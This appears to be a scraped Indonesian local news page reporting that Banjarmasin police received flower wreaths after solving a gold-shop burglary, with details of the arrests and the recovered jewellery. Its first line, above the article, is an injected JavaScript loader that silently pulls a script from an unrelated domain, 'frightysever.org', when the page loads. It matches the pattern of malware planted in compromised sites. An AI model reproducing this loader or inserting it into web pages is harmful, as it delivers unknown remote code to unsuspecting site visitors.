(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ungkap Kasus Pembobolan Toko Emas, Mapolresta Banjarmasin Dikirimi Karangan Bunga


KANALKALIMANTAN.COM, BANJARMASIN – Markas Polresta Banjarmasin di jalan Ahmad Yani kilometer 4 Kota Banjarmasin mendapat karangan bunga, Sabtu (20/5/2023) sore

Sebanyak tujuh buah karangan bunga bertuliskan ucapan terima kasih kepada Kapolresta Kombes Pol Sabana dan Macan Resta berjejer di depan pintu masuk Mapolres Kota Banjarmasin.

Entah pihak mana yang mengirim karangan bunga, namun dari tulisan yang tertera, karangan bunga tersebut diperkirakan berasal dari pemilik Toko Emas Ratna di jalan Sudimampir No 66D, Banjarmasin, yang beberapa hari lalu dibobol dua pencuri, berhasil diungkap tim Polresta Banjarmasin bersama Polda Kalsel.

Mapolresta Banjarmasin dipenuhi karangan bunga ucapan apresiasi atas pengungkapan kasus pembobolan toko emas di jalan Sudimampir Banjarmasin, Sabtu (20/5/2023). Foto: rizki

“Terima kasih kepada bapak Kapolresta Banjarmasin, Tim Macan Resta Banjarmasin beserta jajaran atas pengungkapan kasus pembobolan toko emas di Pasar Sudimampir,” tertulis pada tujuh buah karangan bunga itu.

Baca juga: Berkat Electrifying Agriculture PLN, Masyarakat Korban PHK Bangkit Jadi Petani Sukses

Sebelumnya pada Selasa (16/5/2023) pagi, pemilik Toko Emas Ratna melaporkan kehilangan sejumlah perhiasan emas di tokonya yang berada di kawasan Pasar Sudimampir.

Kemudian setelah dilakukan penyelidikan, polisi berhasil membekuk dua orang pelaku pencurian di kawasan Nusa Indah, Kecamatan Batibati, Kabupaten Tanah Laut pada Kamis (18/5/2023) sekitar pukul 04.00 Wita.

Selain menangkap pelaku, polisi juga mengamankan perhiasan emas curian berupa 37 gelang emas, 25 kalung emas, dan sepasang anting emas dengan berat keseluruhan hampir dua kilogram.

Barang bukti tersebut didapatkan polisi dikubur di bawah rumah salah satu pelaku di jalan Belitung Darat, gang Simpang Pilot, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

“Barang bukti perhiasan hasil curian dimasukan ke dalam termos lalu dikubur di bawah rumah salah seorang pelaku berinisial R,” kata Kasat Reskrim Polresta Banjarmasin Kompol Thomas.

 Baca juga: Jaga Kedamaian Bersama, Wali Kota Aditya: Jangan Mudah Diprovokasi Isu Sara

Kedua pelaku juga sempat dihadiahi timah panas di kaki oleh polisi karena melawan ketika hendak diamankan.

Atas perbuatannya, keduanya diancam dengan Pasal 363 Ayat (1) KUHP tentang pencurian dengan pemberatan dengan ancaman hukum maksimal 7 tahun penjara. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.